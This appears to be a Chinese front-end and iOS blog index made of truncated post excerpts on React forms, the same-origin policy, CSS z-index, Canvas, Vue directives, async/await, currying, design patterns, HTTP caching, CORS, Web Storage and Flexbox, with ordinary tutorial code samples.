defaultValue 会作为 value 的初始值，后面用户改变的是 value。

而一旦你给 input 设置了 value，那用户就不能修改它了，可以输入触发 onChange 事件，但是表单的值不会变。

用户输入之后在 onChange 事件里拿到输入，然后通过代码去设置 value。

这就是受控模式。

其实绝大多数情况下，非受控就可以了，因为我们只是要拿到用户的输入，不需要手动去修改表单值。

但有的时候，你需要根据用户的输入做一些处理，然后设置为表单的值，这种就需要受控模式。

或者你想同步表单的值到另一个地方的时候，类似 Form 组件，也可以用受控模式。

value 由用户控制就是非受控模式，由代码控制就是受控模式。

我们写代码试一下：

npx create-vite

创建 vite + react 的项目。

去掉 main.tsx 的 index.css 和 StrictMode：

浏览器的同源策略

Tue, 17 Dec 2024 00:00:00 +0800

概述

本文从以下三个问题，循序渐进，一步步拆解，何为浏览器的同源策略和跨域问题：

什么是同源策略和跨域问题？
怎样才算同源？
同源策略下会有什么限制？

什么是同源策略和跨域问题？

同源政策是 1995 年由 Netscape 公司（就是创造了 JS 的那家网景公司）引入浏览器的一种策略。

想要理解同源策略的话，可以先假设如果没有同源策略会发生什么事情。接下来我们通过一则恐怖故事代入理解一下没有同源策略的世界：

在某个深夜，小明独自一人在家浏览网页，无意间打开了一些特殊网站，而恰巧的是，小明之前刚好打开过某些重要支付平台的网站且还没关闭，这时特殊网站里面可能有一些特殊 JS 脚本，在偷偷获取小明支付平台上的信息，并且偷偷利用了这些信息再结合某些手段，成功把小明支付平台上的钱转走了，小明上完厕所回来后，突然收到支付平台转账成功的短信，然后然后然后瘫坐在地上，泣不成声，仰天长啸，大喊一声：“还我攒了半年的 9.99~”

恐怖故事听完了，我们来先上个概念，什么是同源策略？

借用 MDN 上的描述：

同源策略是一个重要的安全策略，它用于限制一个origin的文档或者它加载的脚本如何能与另一个源的资源进行交互。它能帮助阻隔恶意文档，减少可能被攻击的媒介。

怎么理解这个概念呢？举个栗子，随着汽车数量的上升，现在很多城市都有各种限行政策，就拿广州来说，如果不是 粤A 的车牌进入城区的话会有开四停四的限行限制。

同源策略跟汽车限行政策有一点点像，同源策略规定在“同源”下的脚本、文档等资源访问不受限（有点像 粤A 牌的汽车在广州内行驶不会被限行），如果不是“同源”则无法互相访问脚本、文档等资源（非 粤A 牌的汽车在广州市区内受开四停四政策限制）

理解了同源策略后，对于跨域就很好理解了，同源策略是好，我们也需要同源策略，但有些时候我们确实需要不同源的两个网页互相读取信息，这是就产生了跨域问题。

额外补充，同源策略是浏览器的行为，是浏览器的行为，是浏览器的行为（对于这点的解析可以参考：同源策略下，服务器会收到浏览器的请求吗？）

怎样才算同源？

所谓“同源”，就是以下三者必须都相同：

协议相同

协议相同的两个域名：（都是 https 协议）
- https://juejin.cn
- https://juejin.cn
协议不同的两个域名：（一个是 http 协议，一个是 https 协议）
- http://juejin.cn
- https://juejin.cn

域名相同

域名相同的两个域名：
- https://juejin.cn
- https://juejin.cn
域名不同的两个域名：（一个是二级域名，一个是三级域名）（可能这个是最容易记错的）
- https://juejin.cn
- https://www.juejin.cn

端口相同

端口相同的两个域名：
- https://juejin.cn
- https://juejin.cn
端口不同的两个域名：
- https://juejin.cn
- https://juejin.cn:8081

再重复一遍，

同协议、同域名、同端口，才算同源

同源策略下会有什么限制？

在同源策略下，如果非同源，会有以下三个方面的行为受到限制：

如果非同源，其 JS 脚本，不能互相对 DOM 进行读写操作

数据

如果非同源，不能互相读写 Cookies、LocalStorage、SessionStorage 和 IndexedDB

网络请求

如果非同源，不能通过 AJAX 的方式互相发送、接收数据

为了方便理解，接下来我们展开说说这三条规则 ↓↓↓

z-index

Sat, 09 Nov 2024 00:00:00 +0800

大家可能觉得，z-index 是一个很简单的属性，你给它设置哪个值，元素就会位于 y 轴的哪个位置。但它实际上并没有我们想象的这么简单，这个属性背后是一系列决定元素所在层级的规则。

在进行今天的介绍前，我们先列出三个问题，如果你能一眼看出它们的解决方案，那么恭喜你掌握了z-index，也就不需要阅读本文了；如果不行，那么耐心看完本文，相信能找到答案。

三个自测问题

问题一：为什么z-index 数值更大，但 Content 没有在 Box 2 之上？

<div id="box1">
 Box 1
</div>

<div id="content">
 Content <br/>
 z-index: 2;
</div>

<div id="box2">
 Box 2 <br/>
 z-index: 1;
</div>

div {
 padding: 25px;
 font-size: larger;
}

#box1 {
 background-color: chocolate;
 width: 200px;
 height: 100px;
 margin-bottom: -50px;
}

#content {
 background-color: gold;
 width: 300px;
 height: 200px;
 z-index: 2;
}

#box2 {
 background-color: cyan;
 width: 200px;
 height: 100px;
 margin-top: -50px;
 z-index: 1;
}

问题二：明明 z-index 数值更小，为什么 Content 这次反而在Box 2 之上了？

<div id="box1">
 Box 1
</div>

<div id="content">
 Content <br/>
 transform: rotate(90deg); <br/>
 z-index: 1;
</div>

<div id="box2">
 <br/>
 Box 2 <br/>
 z-index: 2;
</div>

div {
 padding: 25px;
 font-size: larger;
}

#box1 {
 background-color: chocolate;
 width: 200px;
 height: 100px;
 margin-bottom: -10px;
}

#content {
 background-color: gold;
 width: 250px;
 height: 200px;
 z-index: 1;
 transform: rotate(90deg);
}

#box2 {
 background-color: cyan;
 width: 200px;
 height: 100px;
 margin-top: -10px;
 z-index: 2;
}

Canvas 和 SVG

Wed, 09 Oct 2024 00:00:00 +0800

1.Canvas

Canvas 是 HTML5 中新增的一个元素，它提供了一种通过 JavaScript 来绘制图形的方式，使用笔刷绘制2D图案。通过 Canvas，我们可以在网页中动态地绘制出各种图形、图表、动画等内容，实现更丰富的交互效果。

工作方式

Canvas 的工作方式是，我们首先在 HTML 页面中添加一个 <canvas> 元素，并指定其宽度和高度，然后在 JavaScript 中获取该元素的上下文对象，并通过调用它的方法来绘制图形。Canvas 的上下文对象有多种，包括 2D 上下文、WebGL 上下文等，我们可以根据需求选择相应的上下文对象来进行绘制。

常用属性

属性	效果
`fillStyle`	填充颜色。默认为黑色
`strokeStyle`	描边颜色。默认为黑色
`lineWidth`	线条宽度。默认为 1 像素
`lineCap`	线条末端的样式,可选值有 butt、round 和 square。默认为 butt
`lineJoin`	线条相交处的样式,可选值有 miter、round 和 bevel。默认为 miter。
`miterLimit`	线条相交处的最大斜接长度。默认为 10 像素
`globalAlpha`	绘制的透明度。默认为 1（不透明）
`shadowColor`	阴影颜色。默认为黑色
`shadowOffsetX`、`shadowOffsetY`	阴影的偏移量和模糊程度
`shadowBlur`	模糊程度

优缺点

优点

基于矢量绘制，图形可以自由缩放而不失真
具有良好的跨浏览器兼容性
通过 JavaScript 动态生成图形，可以更加灵活地控制图形的显示和交互

缺点

无法处理复杂的交互事件、不支持跨域图像等

使用实例

这个实例中，我们使用了一个 HTML5 的 Canvas 元素，它的宽度和高度分别为 200 像素。在 JavaScript 中，我们获取了这个元素，并通过 getContext 方法获取了它的上下文对象。然后，我们使用 fillStyle 属性设置了矩形的填充颜色为红色，并使用 fillRect 方法绘制了一个起点坐标为 (50,50)，宽度为 100 像素，高度为 100 像素的矩形。

v-if/v-show

Fri, 04 Oct 2024 00:00:00 +0800

v-show原理

export const vShow: ObjectDirective<VShowElement> = {
 beforeMount(el, { value }, { transition }) {
 el._vod = el.style.display === 'none' ? '' : el.style.display
 if (transition && value) {
 transition.beforeEnter(el)
 } else {
 setDisplay(el, value)
 }
 },
 mounted(el, { value }, { transition }) {
 if (transition && value) {
 transition.enter(el)
 }
 },
 updated(el, { value, oldValue }, { transition }) {
 // ...
 },
 beforeUnmount(el, { value }) {
 setDisplay(el, value)
 }
}

有transition就执行transition，没有transition就直接设置display。不管初始条件是什么，元素总是会被渲染。

v-if原理

export const transformIf = createStructuralDirectiveTransform(
 /^(if|else|else-if)$/,
 (node, dir, context) => {
 return processIf(node, dir, context, (ifNode, branch, isRoot) => {
 // ...
 return () => {
 if (isRoot) {
 ifNode.codegenNode = createCodegenNodeForBranch(
 branch,
 key,
 context
 ) as IfConditionalExpression
 } else {
 // attach this branch's codegen node to the v-if root.
 const parentCondition = getParentCondition(ifNode.codegenNode!)
 parentCondition.alternate = createCodegenNodeForBranch(
 branch,
 key + ifNode.branches.length - 1,
 context
 )
 }
 }
 })
 }
)

返回一个node节点，render函数通过表达式的值来决定是否生成DOM

Async/Await

Wed, 02 Oct 2024 00:00:00 +0800

async/await用法

其实你要实现一个东西之前，最好是先搞清楚这两样东西

这个东西有什么用？
这个东西是怎么用的？

有什么用？

async/await的用处就是：用同步方式，执行异步操作，怎么说呢？举个例子

比如我现在有一个需求：先请求完接口1，再去请求接口2，我们通常会这么做

function request(num) { // 模拟接口请求
 return new Promise(resolve => {
 setTimeout(() => {
 resolve(num * 2)
 }, 1000)
 })
}

request(1).then(res1 => {
 console.log(res1) // 1秒后 输出 2

 request(2).then(res2 => {
 console.log(res2) // 2秒后 输出 4
 })
})

或者我现在又有一个需求：先请求完接口1，再拿接口1返回的数据，去当做接口2的请求参数，那我们也可以这么做

request(5).then(res1 => {
 console.log(res1) // 1秒后 输出 10

 request(res1).then(res2 => {
 console.log(res2) // 2秒后 输出 20
 })
})

其实这么做是没问题的，但是如果嵌套的多了，不免有点不雅观，这个时候就可以用async/await来解决了

async function fn () {
 const res1 = await request(5)
 const res2 = await request(res1)
 console.log(res2) // 2秒后输出 20
}
fn()

是怎么用？

还是用刚刚的例子

函数柯里化

Tue, 01 Oct 2024 00:00:00 +0800

柯里化是函数的一个比较高级的应用，想要理解它并不简单。

通过《函数与函数式编程》的学习，我们知道，接收函数作为参数的函数，都可以叫做高阶函数。我们常常利用高阶函数来封装一些公共的逻辑。

我们接下来要学习的柯里化，其实就是高阶函数的一种特殊用法。

柯里化是指这样一个函数(假设叫做createCurry)，他接收函数A作为参数，运行后能够返回一个新的函数。并且这个新的函数能够处理函数A的剩余参数。

这样的定义可能不太好理解，我们可以通过下面的例子配合理解。

假如有一个接收三个参数的函数A。

function A(a, b, c) {
 // do something
}

又假如我们有一个已经封装好了的柯里化通用函数createCurry。他接收bar作为参数，能够将A转化为柯里化函数，返回结果就是这个被转化之后的函数。

var _A = createCurry(A);

那么_A作为createCurry运行的返回函数，他能够处理A的剩余参数。因此下面的运行结果都是等价的。

_A(1, 2, 3);
_A(1, 2)(3);
_A(1)(2, 3);
_A(1)(2)(3);
A(1, 2, 3);

函数A被createCurry转化之后得到柯里化函数_A，_A能够处理A的所有剩余参数。因此柯里化也被称为部分求值。

在简单的场景下，我们可以不用借助柯里化通用式来转化得到柯里化函数，我们可以凭借眼力自己封装。

例如有一个简单的加法函数，他能够将自身的三个参数加起来并返回计算结果。

function add(a, b, c) {
 return a + b + c;
}

那么add函数的柯里化函数_add则可以如下：

function _add(a) {
 return function(b) {
 return function(c) {
 return a + b + c;
 }
 }
}

因此下面的运算方式是等价的。

add(1, 2, 3);
_add(1)(2)(3);

当然，柯里化通用式具备更加强大的能力，我们靠眼力自己封装的柯里化函数则自由度偏低。因此我们仍然需要知道自己如何去封装这样一个柯里化的通用式。

首先通过_add可以看出，柯里化函数的运行过程其实是一个参数的收集过程，我们将每一次传入的参数收集起来，并在最里层里面处理。因此我们在实现createCurry时，可以借助这个思路来进行封装。

封装如下:

// 简单实现，参数只能从右到左传递
function createCurry(func, args) {

 var arity = func.length;
 var args = args || [];

 return function() {
 var _args = [].slice.call(arguments);
 [].push.apply(_args, args);

 // 如果参数个数小于最初的func.length，则递归调用，继续收集参数
 if (_args.length < arity) {
 return createCurry.call(this, func, _args);
 }

 // 参数收集完毕，则执行func
 return func.apply(this, _args);
 }
}

尽管我已经做了足够详细的注解，但是我想理解起来也并不是那么容易，因此建议大家用点耐心多阅读几遍。这个createCurry函数的封装借助闭包与递归，实现了一个参数收集，并在收集完毕之后执行所有参数的一个过程。

设计模式概述

Wed, 27 May 2026 22:24:03 +0800

什么是设计模式？

设计模式（Design Pattern）是软件开发中反复出现问题的经典解决方案。它们是前人在大量实践中总结出的、被证明有效的代码设计经验，可以帮助开发者编写出更加灵活、可维护、可复用的代码。

设计模式不是具体的代码，而是解决特定问题的思想和模板。正确运用设计模式可以：

提高代码的可读性和可维护性
增强代码的可复用性
降低模块间的耦合度
提供通用的设计词汇，便于团队沟通

设计模式的起源

设计模式的概念最早由"四人帮"（Gang of Four，简称GoF）在1994年出版的《Design Patterns: Elements of Reusable Object-Oriented Software》一书中系统化提出。书中总结了23种经典设计模式，这些模式至今仍是软件设计的重要参考。

设计模式分类

GoF将23种设计模式分为三大类：

创建型模式（Creational Patterns）

创建型模式关注对象的创建机制，旨在以合适的方式创建对象，而不是直接使用new操作符。这类模式使得代码在创建对象时更加灵活。

模式	描述	iOS常见应用
单例模式	确保一个类只有一个实例	UIApplication.shared、FileManager.default
工厂方法模式	定义创建对象的接口，由子类决定实例化哪个类	NSNumber的工厂方法
抽象工厂模式	创建一系列相关对象而无需指定具体类	UIKit组件创建
建造者模式	将复杂对象的构建与表示分离	URLComponents、AlertController
原型模式	通过复制现有实例创建新对象	NSCopying协议

结构型模式（Structural Patterns）

结构型模式关注类和对象的组合，用于形成更大的结构。这类模式帮助确保当系统的一部分发生改变时，整个系统不需要随之改变。

模式	描述	iOS常见应用
适配器模式	将一个类的接口转换成客户期望的另一个接口	协议适配、第三方库封装
桥接模式	将抽象部分与实现部分分离	平台无关的抽象设计
组合模式	将对象组合成树形结构以表示部分-整体层次结构	UIView层级结构
装饰器模式	通过包装对象在运行时动态添加职责	包装器对象、链式装饰
外观模式	为子系统提供一个统一的高层接口	SDK封装、模块门面
享元模式	运用共享技术有效支持大量细粒度对象	字体对象、颜色对象等可共享的不可变对象
代理模式	为其他对象提供一种代理以控制访问	NSProxy、虚拟代理、保护代理

行为型模式（Behavioral Patterns）

行为型模式关注对象之间的通信和职责分配，描述类或对象如何交互以及如何分配职责。

iOS中AI Chat实战

Sat, 02 May 2026 22:32:27 +0800

做一个能跑的AI聊天Demo只需要几十行代码：拼一个HTTP请求、把模型返回的文本显示出来即可。但要做一个达到生产级体验的AI Chat，就会面对一堆并不"AI"的工程问题：字怎么一个个"蹦"出来？Markdown怎么边流边渲染？模型想让前端弹一个卡片甚至一个表单，该怎么办？用户点击卡片里的按钮怎么回传给模型？

本文以iOS为实现目标，系统梳理AI Chat的工程架构，重点讲清楚两件事：流式输出与A2UI（Agent to UI），同时覆盖工具调用、取消、多模态、端侧推理等常见高级能力。

一、整体架构

一个完整的iOS AI Chat客户端，通常可以拆成如下几层：

graph TB
subgraph UI ["展示层"]
LIST["消息列表
UICollectionView / List"]
CELL["消息Cell
文本 / Markdown / A2UI Surface"]
INPUT["输入区
文本 / 图片 / 语音"]
end
subgraph VM ["ViewModel层"]
STATE["会话状态机"]
STREAM["流式拼装器"]
TOOL["工具执行器"]
end
subgraph NET ["网络层"]
SSE["SSE / HTTP 分块"]
PARSER["协议解析
OpenAI / Claude / A2UI"]
end
subgraph DATA ["数据层"]
DB["消息持久化
GRDB / WCDB / CoreData"]
CTX["上下文裁剪
Token预算"]
end
INPUT --> STATE
STATE --> NET
NET --> PARSER
PARSER --> STREAM
STREAM --> CELL
STREAM --> TOOL
TOOL --> NET
STATE --> DB
DB --> CTX
CTX --> NET

几个关键特征：

Swift中import详解

Sat, 02 May 2026 22:32:27 +0800

源码版本说明：本文涉及的源码基于 Swift 编译器 开发版本（swift main分支，commit: e0db5152d4d4，2026-01-19）。不同版本的实现细节可能略有差异，但核心机制保持一致。

在前一篇文章Objective-C中import详解中，我们深入探讨了 Objective-C 中的 import 机制，包括 #include、#import、@import 以及 Clang Modules 的工作原理。本文将继续从 Swift 编译器的角度，讲解 Swift 中 import 的语法、模块查找机制、底层实现原理以及与 Objective-C 的互操作。

从 Clang Module 到 Swift Module

在深入 Swift 的 import 机制之前，让我们先回顾一下上一篇文章中 Clang Module 的核心概念。

Clang Module 核心概念回顾

在 Objective-C 文章中，我们学习了 Clang Module 的几个关键特性：

module.modulemap：定义模块结构的配置文件

framework module Foundation {
 umbrella header "Foundation.h"
 export *
}

预编译模块缓存（.pcm 文件）：Clang 将模块编译为二进制格式，缓存以加速后续编译
懒加载机制：只加载实际使用的声明，未使用的部分不会被解析
自动链接：@import 会自动链接对应的库，无需手动配置
模块查找路径：通过 -I、-F 等参数指定搜索路径

Swift 如何继承 Clang Module 的设计

Swift 的模块系统并非从零开始设计，而是站在 Clang Module 的肩膀上，继承了其核心优势，并针对 Swift 的特性进行了扩展：

前端性能监控

Thu, 07 Aug 2025 00:00:00 +0800

大纲

我们会从以下三个方向来讲解埋点与监控的知识：

什么是埋点？什么是监控？
JS 中实现监控的核心方案
写一个“相对”完整的监控实例

一、什么是埋点？什么是监控？

在日常沟通中，我们经常会把【埋点】和【监控】放到一起说，但是它们在本质上是有一定的区别的：

1. 埋点

埋点主要用于收集用户行为数据。在日常开发中，我们会通过 在前端代码中插入代码或脚本的方式 来实现埋点功能。

埋点的主要作用就是：捕获特定用户行为（如点击、浏览、提交表单、页面跳转等）以及关键业务数据（如下单金额、商品类别等）

在日常开发中，埋点的实现方案大致可以分为以下三大类：

手动埋点：在代码中手动加入记录代码来捕获特定事件。
自动埋点：利用 DOM 事件代理等技术来捕获页面上所有事件，从而减少手动配置。
可视化埋点：通过工具界面标记需要采集的元素和事件，可以不用手写代码。

2. 监控

而监控则主要关注 系统的性能和稳定性。在日常开发中，我们会通过 采集页面加载时间、资源请求、错误日志等数据 的方式来实现前端监控。

监控的主要作用就是：及时发现并定位页面性能瓶颈或代码异常，目的是为了保障系统不出 bug

在日常开发中，监控一般需要完成以下三大部分：

性能监控：如：首屏加载时间、页面交互耗时、资源加载耗时等。
错误监控：捕获 JavaScript 错误、网络请求失败、资源加载异常等。
用户体验监控：收集白屏、卡顿等影响用户体验的问题等。

区别总结

维度	前端埋点	前端监控
目标	捕获用户行为数据	监控系统性能、错误、稳定性
数据类型	用户点击、表单提交、页面跳转等	页面加载时间、错误日志、卡顿情况等
实现方式	手动埋点、自动埋点、可视化埋点	错误捕获、性能指标采集
核心关注点	用户行为、业务数据	系统Bug、性能优化

二、JS 中实现监控的核心方案

根据上面所说，我们知道埋点和监控的目的存在不同，但是它们的思路确是有很多一致性的，其核心都是：获取关键的数据，发送（上报）给服务端，依据数据来解决其不同的目的。

所以，无论是埋点也好，还是监控也罢，我们都需要 获取关键位置数据。

1. 跟踪用户事件（点击、滚动等）

定义通用跟踪函数（后续事件会通过该函数完成上报）：trackEvent 函数接收事件类型和事件详情，并上报到服务端。

// 用于记录或发送跟踪数据到服务器的函数
function trackEvent(eventType, details) {
 console.log(`Event: ${eventType}`, details); // 在控制台打印事件类型和详情
 // 上报到服务端。
 fetch('/测试接口地址', { method: 'POST', body: JSON.stringify({ eventType, details }) });
}

捕获按钮点击事件：获取 id 为 myButton 的按钮，并在其 click 事件上添加监听器。在按钮被点击时调用 trackEvent 函数，记录点击事件的类型（button_click）、按钮 ID 和时间戳。

浏览器的缓存机制解析

Mon, 28 Jul 2025 00:00:00 +0800

概述

浏览器的缓存机制也就是我们说的HTTP缓存机制，其机制是根据HTTP报文的缓存标识进行的，所以在分析浏览器缓存机制之前，我们先使用图文简单介绍一下HTTP报文，HTTP报文分为两种：

HTTP请求(Request)报文，报文格式为：请求行 – HTTP头(通用信息头，请求头，实体头) – 请求报文主体(只有POST才有报文主体)，如下图

HTTP响应(Response)报文，报文格式为：状态行 – HTTP头(通用信息头，响应头，实体头) – 响应报文主体，如下图

注：通用信息头指的是请求和响应报文都支持的头域，分别为Cache-Control、Connection、Date、Pragma、Transfer-Encoding、Upgrade、Via；实体头则是实体信息的实体头域，分别为Allow、Content-Base、Content-Encoding、Content-Language、Content-Length、Content-Location、Content-MD5、Content-Range、Content-Type、Etag、Expires、Last-Modified、extension-header。这里只是为了方便理解，将通用信息头，响应头/请求头，实体头都归为了HTTP头。

以上的概念在这里我们不做多讲解，只简单介绍，有兴趣的童鞋可以自行研究。

缓存过程分析

浏览器与服务器通信的方式为应答模式，即是：浏览器发起HTTP请求 – 服务器响应该请求。那么浏览器第一次向服务器发起该请求后拿到请求结果，会根据响应报文中HTTP头的缓存标识，决定是否缓存结果，是则将请求结果和缓存标识存入浏览器缓存中，简单的过程如下图：

由上图我们可以知道：

浏览器每次发起请求，都会先在浏览器缓存中查找该请求的结果以及缓存标识
浏览器每次拿到返回的请求结果都会将该结果和缓存标识存入浏览器缓存中

以上两点结论就是浏览器缓存机制的关键，他确保了每个请求的缓存存入与读取，只要我们再理解浏览器缓存的使用规则，那么所有的问题就迎刃而解了，本文也将围绕着这点进行详细分析。为了方便大家理解，这里我们根据是否需要向服务器重新发起HTTP请求将缓存过程分为两个部分，分别是强制缓存和协商缓存。

强制缓存

强制缓存就是向浏览器缓存查找该请求结果，并根据该结果的缓存规则来决定是否使用该缓存结果的过程，强制缓存的情况主要有三种(暂不分析协商缓存过程)，如下：

不存在该缓存结果和缓存标识，强制缓存失效，则直接向服务器发起请求（跟第一次发起请求一致），如下图：

存在该缓存结果和缓存标识，但该结果已失效，强制缓存失效，则使用协商缓存(暂不分析)，如下图

存在该缓存结果和缓存标识，且该结果尚未失效，强制缓存生效，直接返回该结果，如下图

那么强制缓存的缓存规则是什么？

当浏览器向服务器发起请求时，服务器会将缓存规则放入HTTP响应报文的HTTP头中和请求结果一起返回给浏览器，控制强制缓存的字段分别是Expires和Cache-Control，其中Cache-Control优先级比Expires高。

Expires

Expires是HTTP/1.0控制网页缓存的字段，其值为服务器返回该请求结果缓存的到期时间，即再次发起该请求时，如果客户端的时间小于Expires的值时，直接使用缓存结果。

Expires是HTTP/1.0的字段，但是现在浏览器默认使用的是HTTP/1.1，那么在HTTP/1.1中网页缓存还是否由Expires控制？

到了HTTP/1.1，Expire已经被Cache-Control替代，原因在于Expires控制缓存的原理是使用客户端的时间与服务端返回的时间做对比，那么如果客户端与服务端的时间因为某些原因（例如时区不同；客户端和服务端有一方的时间不准确）发生误差，那么强制缓存则会直接失效，这样的话强制缓存的存在则毫无意义，那么Cache-Control又是如何控制的呢？

Cache-Control

在HTTP/1.1中，Cache-Control是最重要的规则，主要用于控制网页缓存，主要取值为：

public：所有内容都将被缓存（客户端和代理服务器都可缓存）
private：所有内容只有客户端可以缓存，Cache-Control的默认取值
no-cache：客户端缓存内容，但是是否使用缓存则需要经过协商缓存来验证决定
no-store：所有内容都不会被缓存，即不使用强制缓存，也不使用协商缓存
max-age=xxx (xxx is numeric)：缓存内容将在xxx秒后失效

接下来，我们直接看一个例子，如下：

由上面的例子我们可以知道：

HTTP响应报文中expires的时间值，是一个绝对值
HTTP响应报文中Cache-Control为max-age=600，是相对值

由于Cache-Control的优先级比expires，那么直接根据Cache-Control的值进行缓存，意思就是说在600秒内再次发起该请求，则会直接使用缓存结果，强制缓存生效。

注：在无法确定客户端的时间是否与服务端的时间同步的情况下，Cache-Control相比于expires是更好的选择，所以同时存在时，只有Cache-Control生效。

了解强制缓存的过程后，我们拓展性的思考一下：

浏览器的缓存存放在哪里，如何在浏览器中判断强制缓存是否生效？

这里我们以博客的请求为例，状态码为灰色的请求则代表使用了强制缓存，请求对应的Size值则代表该缓存存放的位置，分别为from memory cache 和 from disk cache。

那么from memory cache 和 from disk cache又分别代表的是什么呢？什么时候会使用from disk cache，什么时候会使用from memory cache呢？

跨域资源共享（CORS）

Tue, 17 Dec 2024 00:00:00 +0800

跨域资源共享（CORS，Cross-Origin Resource Sharing）是浏览器用来放宽同源策略限制的一种机制，是前端跨域请求的主流解决方案。面试时考察点主要围绕它的原理、工作流程、配置细节及相关安全问题。

一、CORS 基础概念

作用：允许浏览器从不同源的服务器请求资源，突破同源策略限制。
原理：服务器通过设置特定的 HTTP 响应头，告诉浏览器允许跨域访问。

二、CORS 的关键响应头

头部	说明
`Access-Control-Allow-Origin`	指明允许访问的源，可以是具体域名（如 `https://example.com`）或 `*`（表示允许所有域访问）
`Access-Control-Allow-Methods`	允许的请求方法（GET、POST、PUT、DELETE 等）
`Access-Control-Allow-Headers`	允许请求携带的自定义头部字段
`Access-Control-Allow-Credentials`	是否允许携带 Cookie 或 HTTP 认证信息，值为 `true` 时允许
`Access-Control-Max-Age`	预检请求的结果缓存时间，单位秒

三、CORS 请求分类

1. 简单请求

满足以下条件，浏览器直接发请求：

请求方法是 GET、POST、HEAD 中之一。
请求头只包含简单头（如 Accept, Content-Type 仅限 application/x-www-form-urlencoded、multipart/form-data 或 text/plain）。
不携带自定义 Cookie、认证信息。

2. 预检请求（Preflight）

当请求不满足简单请求条件时，浏览器先发送 OPTIONS 请求询问服务器是否允许该跨域请求。
服务器响应通过特定头部告诉浏览器是否放行。

四、CORS 工作流程

浏览器发送跨域请求。
如果是简单请求，直接带上请求头发送实际请求，服务器返回响应带有 CORS 相关头，浏览器决定是否允许。
如果是非简单请求，浏览器先发 OPTIONS 预检请求。
服务器响应预检，决定是否允许后，浏览器再发实际请求。
浏览器根据响应头决定是否允许前端访问响应内容。

默认情况下，跨域请求不发送 Cookie。
前端请求时必须设置：xhr.withCredentials = true 或 fetch 的 credentials: 'include'。
服务器必须设置：Access-Control-Allow-Credentials: true。
Access-Control-Allow-Origin 不能使用 *，必须指定具体域名。

常见考点

CORS 是什么？为什么需要它？
同源策略和 CORS 的关系？
简单请求和预检请求的区别？
预检请求的触发条件有哪些？
Access-Control-Allow-Origin 设置为 * 有什么限制？
如何支持带 Cookie 的跨域请求？
CORS 配置中的常用响应头说明。
如何解决跨域请求失败问题？
JSONP 和 CORS 的区别？
服务器如何配置支持 CORS？

高阶组件

Tue, 17 Dec 2024 00:00:00 +0800

一前言

React高阶组件(HOC)，对于很多react开发者来说并不陌生，它是灵活使用react组件的一种技巧，高阶组件本身不是组件，它是一个参数为组件，返回值也是一个组件的函数。

高阶作用用于强化组件，复用逻辑，提升渲染性能等作用。高阶组件也并不是很难理解，其实接触过后还是蛮简单的，接下来将按照，高阶组件理解？，高阶组件具体怎么使用？应用场景， 高阶组件实践(源码级别) 为突破口，带大家详细了解一下高阶组件。

我们带着问题去开始今天的讨论：

1 什么是高阶组件，它解决了什么问题？
2 有几种高阶组件，它们优缺点是什么？
3 如何写一个优秀高阶组件？
4 hoc怎么处理静态属性，跨层级ref等问题？
5 高阶组件怎么控制渲染，隔离渲染？
6 高阶组件怎么监控原始组件的状态？
…

高阶组件（HOC）是 React 中用于复用组件逻辑的一种高级技巧。HOC 自身不是 React API 的一部分，它是一种基于 React 的组合特性而形成的设计模式。

二全方位看高阶组件

1 几种包装强化组件的方式

① mixin模式

原型图

老版本的`react-mixins`

在react初期提供一种组合方法。通过React.createClass,加入mixins属性，具体用法和vue 中mixins相似。具体实现如下。

const customMixin = {
 componentDidMount(){
 console.log( '------componentDidMount------' )
 },
 say(){
 console.log(this.state.name)
 }
}

const APP = React.createClass({
 mixins: [ customMixin ],
 getInitialState(){
 return {
 name:'alien'
 }
 },
 render(){
 const { name } = this.state
 return <div> hello ,world , my name is { name } </div>
 }
})

这种mixins只能存在createClass中，后来React.createClass连同mixins这种模式被废弃了。mixins会带来一些负面的影响。

Web Storage

Wed, 09 Oct 2024 00:00:00 +0800

一、简介

浏览器本地存储是指浏览器提供的一种机制，允许 Web 应用程序在浏览器端存储数据，以便在用户下次访问时可以快速获取和使用这些数据。一共两种存储方式：localStorage 和 sessionStorage。下面介绍下两种缓存的特性和在内部平台的一些应用。

二、localStorage 和 sessionStorage

2.1、区别

localStorage 和 sessionStorage 的主要区别是生命周期，具体区别如下：

	localStorage	sessionStorage
生命周期	持久化存储：除非自行删除或清除缓存，否则一直存在	会话级别的存储：浏览器标签页或窗口关闭
作用域	相同浏览器，同域名，不同标签，不同窗口	相同浏览器，同域名，同源窗口
获取方式	window.localStorage	window.sessionStorage
存储容量	5M	5M

容量限制的目的是防止滥用本地存储空间，导致用户浏览器变慢。

2.2、浏览器兼容性

1）现在的浏览器基本上都是支持这两种 Storage 特性的。各浏览器支持版本如下：

	Chrome	Firefox	IE	Opera	Safari	Android	Opera Mobile	Safari Mobile
localStorage	4	3.5	8	10.5	4	2.1	11	iOS 3.2
sessionStorage	5	2	8	10.5	4	2.1	11	iOS 3.2

2）如果使用的是老式浏览器，比如Internet Explorer 6、7 或者其他，就需要在使用前检测浏览器是否支持本地存储或者是否被禁用。以 localStorage 为例：

Flexbox

Tue, 08 Oct 2024 00:00:00 +0800

一、Flexbox布局的概念

Flexbox布局也叫Flex布局，弹性盒子布局。它的目标是提供一个更有效地布局、对齐方式，并且能够使父元素在子元素的大小未知或动态变化情况下仍然能够分配好子元素之间的间隙。主要思想是使父元素能够调整子元素的宽度、高度、排列方式，从而更好的适应可用的布局空间。设定为flex布局的元素能够放大子元素使之尽可能填充可用空间，也可以收缩子元素使之不溢出。

Flex布局更适合小规模的布局，可以简便、完整、响应式的实现各种页面布局。但是，设为Flex布局以后，其子元素的float、clear和vertical-align属性将失效。Flex弹性盒模型的优势在于只需声明布局应该具有的⾏为，⽽不需要给出具体的实现⽅式，浏览器负责完成实际布局，当布局涉及到不定宽度，分布对⻬的场景时，就要优先考虑弹性盒布局。

Flex布局是一个完整的模块，它包括了一套完整的属性。其中采用 Flex 布局的元素，称为 Flex 容器，简称"容器"。它的所有子元素就是容器成员，称为 Flex 项目，简称"项目"。

容器默认存在两个轴：水平轴（main axis）和垂直轴（cross axis），项目默认沿主轴排列（水平轴）：

这里面涉及到了几个概念，下面来看一下：

main axis: Flex 父元素的主轴是指子元素布局的主要方向轴，它由属性flex-direction来确定主轴是水平还是垂直的，默认为水平轴。
main-start & main-end: 分别表示主轴的开始和结束，子元素在父元素中会沿着主轴从main-start到main-end排布。
main size: 单个项目占据主轴的长度大小。
cross axis: 交叉轴，与主轴垂直。
cross-start & cross-end: 分别表示交叉轴的开始和结束。子元素在交叉轴的排布从cross-start开始到cross-end。
cross size: 子元素在交叉轴方向上的大小。

二、父元素属性

